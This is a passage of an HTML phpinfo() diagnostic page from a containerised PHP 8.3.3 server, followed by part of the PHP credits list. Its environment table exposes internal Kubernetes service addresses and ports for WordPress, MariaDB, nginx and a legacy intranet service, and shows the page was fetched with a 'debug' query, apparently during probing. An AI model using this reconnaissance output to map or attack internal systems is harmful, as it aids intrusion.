&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_LDFLAGS']&lt;/td&gt;&lt;td class="v"&gt;-Wl,-O1 -pie&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_CGI_ENABLED']&lt;/td&gt;&lt;td class="v"&gt;true&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_PORT_80_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.61.204&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_MARIADB_PORT_3306_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.147.82&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_CFLAGS']&lt;/td&gt;&lt;td class="v"&gt;-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['WP_NGINX_SERVICE_PORT_80_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.4.242&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_VERSION']&lt;/td&gt;&lt;td class="v"&gt;8.3.3&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_INTRANET_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.2.241:5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_INTRANET_SERVICE_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_MODE']&lt;/td&gt;&lt;td class="v"&gt;enabled&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_MARIADB_PORT_3306_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['GPG_KEYS']&lt;/td&gt;&lt;td class="v"&gt;1198C0117593497A5EC5C199286AF1F9897469DC C28D937575603EB4ABB725861C0779DC5C0A9DE4 AFD8691FDAEDF03BDF6E460563F15A9B715376CA&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['WP_NGINX_SERVICE_PORT_80_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_MARIADB_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.147.82&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_MARIADB_PORT_3306_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_CPPFLAGS']&lt;/td&gt;&lt;td class="v"&gt;-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_ASC_URL']&lt;/td&gt;&lt;td class="v"&gt;https://www.php.net/distributions/php-8.3.3.tar.xz.asc&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['WP_NGINX_SERVICE_PORT_80_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_MARIADB_SERVICE_PORT_MYSQL']&lt;/td&gt;&lt;td class="v"&gt;3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_URL']&lt;/td&gt;&lt;td class="v"&gt;https://www.php.net/distributions/php-8.3.3.tar.xz&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_MAX_EXECUTION_TIME']&lt;/td&gt;&lt;td class="v"&gt;120&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['KUBERNETES_PORT_443_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.0.1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PATH']&lt;/td&gt;&lt;td class="v"&gt;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_MARIADB_PORT']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.147.82:3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_MARIADB_SERVICE_PORT']&lt;/td&gt;&lt;td class="v"&gt;3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['KUBERNETES_PORT_443_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_PORT_443_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.61.204&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_PORT_80_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.61.204:80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_MARIADB_PORT_3306_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.147.82:3306&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_MEMORY_LIMIT']&lt;/td&gt;&lt;td class="v"&gt;128M&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['WP_NGINX_SERVICE_PORT_80_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.4.242:80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['KUBERNETES_PORT_443_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['CMS_ENVIRONMENT']&lt;/td&gt;&lt;td class="v"&gt;development&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTP']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['WP_NGINX_SERVICE_SERVICE_PORT_HTTP']&lt;/td&gt;&lt;td class="v"&gt;80&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['KUBERNETES_PORT_443_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.0.1:443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['KUBERNETES_SERVICE_PORT_HTTPS']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHPIZE_DEPS']&lt;/td&gt;&lt;td class="v"&gt;autoconf               dpkg-dev dpkg           file            g++             gcc              libc-dev                make            pkgconf                 re2c&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.43.2.241&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['KUBERNETES_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.0.1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PWD']&lt;/td&gt;&lt;td class="v"&gt;/&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['PHP_SHA256']&lt;/td&gt;&lt;td class="v"&gt;b0a996276fe21fe9ca8f993314c8bc02750f464c7b0343f056fb0894a8dfa9d1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_PORT_443_TCP']&lt;/td&gt;&lt;td class="v"&gt;tcp://10.43.61.204:443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTPS']&lt;/td&gt;&lt;td class="v"&gt;443&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT']&lt;/td&gt;&lt;td class="v"&gt;5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['BETA_VINO_WP_WORDPRESS_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.61.204&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP']&lt;/td&gt;&lt;td class="v"&gt;5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO']&lt;/td&gt;&lt;td class="v"&gt;tcp&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['WP_NGINX_SERVICE_SERVICE_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.4.242&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['HTTP_CONNECTION']&lt;/td&gt;&lt;td class="v"&gt;close&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['HTTP_HOST']&lt;/td&gt;&lt;td class="v"&gt;10.43.2.241:5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['SCRIPT_FILENAME']&lt;/td&gt;&lt;td class="v"&gt;/var/www/html/phpinfo.php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['REDIRECT_STATUS']&lt;/td&gt;&lt;td class="v"&gt;200&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['SERVER_NAME']&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['SERVER_PORT']&lt;/td&gt;&lt;td class="v"&gt;5000&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['SERVER_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.42.1.241&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['REMOTE_PORT']&lt;/td&gt;&lt;td class="v"&gt;41902&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['REMOTE_ADDR']&lt;/td&gt;&lt;td class="v"&gt;10.42.1.249&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['SERVER_SOFTWARE']&lt;/td&gt;&lt;td class="v"&gt;nginx/1.24.0&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['GATEWAY_INTERFACE']&lt;/td&gt;&lt;td class="v"&gt;CGI/1.1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['REQUEST_SCHEME']&lt;/td&gt;&lt;td class="v"&gt;http&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['SERVER_PROTOCOL']&lt;/td&gt;&lt;td class="v"&gt;HTTP/1.1&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['DOCUMENT_ROOT']&lt;/td&gt;&lt;td class="v"&gt;/var/www/html&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['DOCUMENT_URI']&lt;/td&gt;&lt;td class="v"&gt;/phpinfo.php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['REQUEST_URI']&lt;/td&gt;&lt;td class="v"&gt;/phpinfo.php?debug&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['SCRIPT_NAME']&lt;/td&gt;&lt;td class="v"&gt;/phpinfo.php&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['CONTENT_LENGTH']&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['CONTENT_TYPE']&lt;/td&gt;&lt;td class="v"&gt;&lt;i&gt;no value&lt;/i&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['REQUEST_METHOD']&lt;/td&gt;&lt;td class="v"&gt;GET&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['QUERY_STRING']&lt;/td&gt;&lt;td class="v"&gt;debug&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;$_ENV['FCGI_ROLE']&lt;/td&gt;&lt;td class="v"&gt;RESPONDER&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h1&gt;PHP Credits&lt;/h1&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;PHP Group&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Thies C. Arntzen, Stig Bakken, Shane Caraveo, Andi Gutmans, Rasmus Lerdorf, Sam Ruby, Sascha Schumann, Zeev Suraski, Jim Winstead, Andrei Zmievski &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th&gt;Language Design &amp;amp; Concept&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Andi Gutmans, Rasmus Lerdorf, Zeev Suraski, Marcus Boerger &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th colspan="2"&gt;PHP Authors&lt;/th&gt;&lt;/tr&gt;
&lt;tr class="h"&gt;&lt;th&gt;Contribution&lt;/th&gt;&lt;th&gt;Authors&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Zend Scripting Language Engine &lt;/td&gt;&lt;td class="v"&gt;Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Marcus Boerger, Dmitry Stogov, Xinchen Hui, Nikita Popov &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Extension Module API &lt;/td&gt;&lt;td class="v"&gt;Andi Gutmans, Zeev Suraski, Andrei Zmievski &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;UNIX Build and Modularization &lt;/td&gt;&lt;td class="v"&gt;Stig Bakken, Sascha Schumann, Jani Taskinen, Peter Kokot &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Windows Support &lt;/td&gt;&lt;td class="v"&gt;Shane Caraveo, Zeev Suraski, Wez Furlong, Pierre-Alain Joye, Anatol Belski, Kalle Sommer Nielsen &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Server API (SAPI) Abstraction Layer &lt;/td&gt;&lt;td class="v"&gt;Andi Gutmans, Shane Caraveo, Zeev Suraski &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Streams Abstraction Layer &lt;/td&gt;&lt;td class="v"&gt;Wez Furlong, Sara Golemon &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP Data Objects Layer &lt;/td&gt;&lt;td class="v"&gt;Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Output Handler &lt;/td&gt;&lt;td class="v"&gt;Zeev Suraski, Thies C. Arntzen, Marcus Boerger, Michael Wallner &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Consistent 64 bit support &lt;/td&gt;&lt;td class="v"&gt;Anthony Ferrara, Anatol Belski &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th colspan="2"&gt;SAPI Modules&lt;/th&gt;&lt;/tr&gt;
&lt;tr class="h"&gt;&lt;th&gt;Contribution&lt;/th&gt;&lt;th&gt;Authors&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Apache 2.0 Handler &lt;/td&gt;&lt;td class="v"&gt;Ian Holsman, Justin Erenkrantz (based on Apache 2.0 Filter code) &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;CGI / FastCGI &lt;/td&gt;&lt;td class="v"&gt;Rasmus Lerdorf, Stig Bakken, Shane Caraveo, Dmitry Stogov &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;CLI &lt;/td&gt;&lt;td class="v"&gt;Edin Kadribasic, Marcus Boerger, Johannes Schlueter, Moriyoshi Koizumi, Xinchen Hui &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Embed &lt;/td&gt;&lt;td class="v"&gt;Edin Kadribasic &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;FastCGI Process Manager &lt;/td&gt;&lt;td class="v"&gt;Andrei Nigmatulin, dreamcat4, Antony Dovgal, Jerome Loyet &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;litespeed &lt;/td&gt;&lt;td class="v"&gt;George Wang &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;phpdbg &lt;/td&gt;&lt;td class="v"&gt;Felipe Pena, Joe Watkins, Bob Weinand &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;tr class="h"&gt;&lt;th colspan="2"&gt;Module Authors&lt;/th&gt;&lt;/tr&gt;
&lt;tr class="h"&gt;&lt;th&gt;Module&lt;/th&gt;&lt;th&gt;Authors&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;BC Math &lt;/td&gt;&lt;td class="v"&gt;Andi Gutmans &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Bzip2 &lt;/td&gt;&lt;td class="v"&gt;Sterling Hughes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Calendar &lt;/td&gt;&lt;td class="v"&gt;Shane Caraveo, Colin Viebrock, Hartmut Holzgraefe, Wez Furlong &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;COM and .Net &lt;/td&gt;&lt;td class="v"&gt;Wez Furlong &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ctype &lt;/td&gt;&lt;td class="v"&gt;Hartmut Holzgraefe &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;cURL &lt;/td&gt;&lt;td class="v"&gt;Sterling Hughes &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Date/Time Support &lt;/td&gt;&lt;td class="v"&gt;Derick Rethans &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;DB-LIB (MS SQL, Sybase) &lt;/td&gt;&lt;td class="v"&gt;Wez Furlong, Frank M. Kromann, Adam Baratz &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;DBA &lt;/td&gt;&lt;td class="v"&gt;Sascha Schumann, Marcus Boerger &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;DOM &lt;/td&gt;&lt;td class="v"&gt;Christian Stocker, Rob Richards, Marcus Boerger &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;enchant &lt;/td&gt;&lt;td class="v"&gt;Pierre-Alain Joye, Ilia Alshanetsky &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;EXIF &lt;/td&gt;&lt;td class="v"&gt;Rasmus Lerdorf, Marcus Boerger &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;FFI &lt;/td&gt;&lt;td class="v"&gt;Dmitry Stogov &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;fileinfo &lt;/td&gt;&lt;td class="v"&gt;Ilia Alshanetsky, Pierre Alain Joye, Scott MacVicar, Derick Rethans, Anatol Belski &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Firebird driver for PDO &lt;/td&gt;&lt;td class="v"&gt;Ard Biesheuvel &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;FTP &lt;/td&gt;&lt;td class="v"&gt;Stefan Esser, Andrew Skalski &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;GD imaging &lt;/td&gt;&lt;td class="v"&gt;Rasmus Lerdorf, Stig Bakken, Jim Winstead, Jouni Ahto, Ilia Alshanetsky, Pierre-Alain Joye, Marcus Boerger, Mark Randall &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;GetText &lt;/td&gt;&lt;td class="v"&gt;Alex Plotnick &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;GNU GMP support &lt;/td&gt;&lt;td class="v"&gt;Stanislav Malyshev &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Iconv &lt;/td&gt;&lt;td class="v"&gt;Rui Hirokawa, Stig Bakken, Moriyoshi Koizumi &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;IMAP &lt;/td&gt;&lt;td class="v"&gt;Rex Logan, Mark Musone, Brian Wang, Kaj-Michael Lang, Antoni Pamies Olive, Rasmus Lerdorf, Andrew Skalski, Chuck Hagenbuch, Daniel R Kalowsky &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Input Filter &lt;/td&gt;&lt;td class="v"&gt;Rasmus Lerdorf, Derick Rethans, Pierre-Alain Joye, Ilia Alshanetsky &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Internationalization &lt;/td&gt;&lt;td class="v"&gt;Ed Batutis, Vladimir Iordanov, Dmitry Lakhtyuk, Stanislav Malyshev, Vadim Savchuk, Kirti Velankar &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;JSON &lt;/td&gt;&lt;td class="v"&gt;Jakub Zelenka, Omar Kilani, Scott MacVicar &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LDAP &lt;/td&gt;&lt;td class="v"&gt;Amitay Isaacs, Eric Warnke, Rasmus Lerdorf, Gerrit Thomson, Stig Venaas &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;LIBXML &lt;/td&gt;&lt;td class="v"&gt;Christian Stocker, Rob Richards, Marcus Boerger, Wez Furlong, Shane Caraveo &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Multibyte String Functions &lt;/td&gt;&lt;td class="v"&gt;Tsukada Takuya, Rui Hirokawa &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;MySQL driver for PDO &lt;/td&gt;&lt;td class="v"&gt;George Schlossnagle, Wez Furlong, Ilia Alshanetsky, Johannes Schlueter &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;MySQLi &lt;/td&gt;&lt;td class="v"&gt;Zak Greant, Georg Richter, Andrey Hristov, Ulf Wendel &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;MySQLnd &lt;/td&gt;&lt;td class="v"&gt;Andrey Hristov, Ulf Wendel, Georg Richter, Johannes Schlüter &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;OCI8 &lt;/td&gt;&lt;td class="v"&gt;Stig Bakken, Thies C. Arntzen, Andy Sautins, David Benson, Maxim Maletsky, Harald Radi, Antony Dovgal, Andi Gutmans, Wez Furlong, Christopher Jones, Oracle Corporation &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ODBC driver for PDO &lt;/td&gt;&lt;td class="v"&gt;Wez Furlong &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;ODBC &lt;/td&gt;&lt;td class="v"&gt;Stig Bakken, Andreas Karajannis, Frank M. Kromann, Daniel R. Kalowsky &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Opcache &lt;/td&gt;&lt;td class="v"&gt;Andi Gutmans, Zeev Suraski, Stanislav Malyshev, Dmitry Stogov, Xinchen Hui &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;OpenSSL &lt;/td&gt;&lt;td class="v"&gt;Stig Venaas, Wez Furlong, Sascha Kettler, Scott MacVicar, Eliot Lear &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Oracle (OCI) driver for PDO &lt;/td&gt;&lt;td class="v"&gt;Wez Furlong &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;pcntl &lt;/td&gt;&lt;td class="v"&gt;Jason Greene, Arnaud Le Blanc &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Perl Compatible Regexps &lt;/td&gt;&lt;td class="v"&gt;Andrei Zmievski &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP Archive &lt;/td&gt;&lt;td class="v"&gt;Gregory Beaver, Marcus Boerger &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP Data Objects &lt;/td&gt;&lt;td class="v"&gt;Wez Furlong, Marcus Boerger, Sterling Hughes, George Schlossnagle, Ilia Alshanetsky &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PHP hash &lt;/td&gt;&lt;td class="v"&gt;Sara Golemon, Rasmus Lerdorf, Stefan Esser, Michael Wallner, Scott MacVicar &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;Posix &lt;/td&gt;&lt;td class="v"&gt;Kristian Koehntopp &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PostgreSQL driver for PDO &lt;/td&gt;&lt;td class="v"&gt;Edin Kadribasic, Ilia Alshanetsky &lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="e"&gt;PostgreSQL &lt;/td&gt;&lt;td class="v"&gt;Jouni Ahto, Zeev Suraski, Yasuo Ohgaki, Chris Kings-Lynne &lt;/td&gt;&lt;/tr&gt;
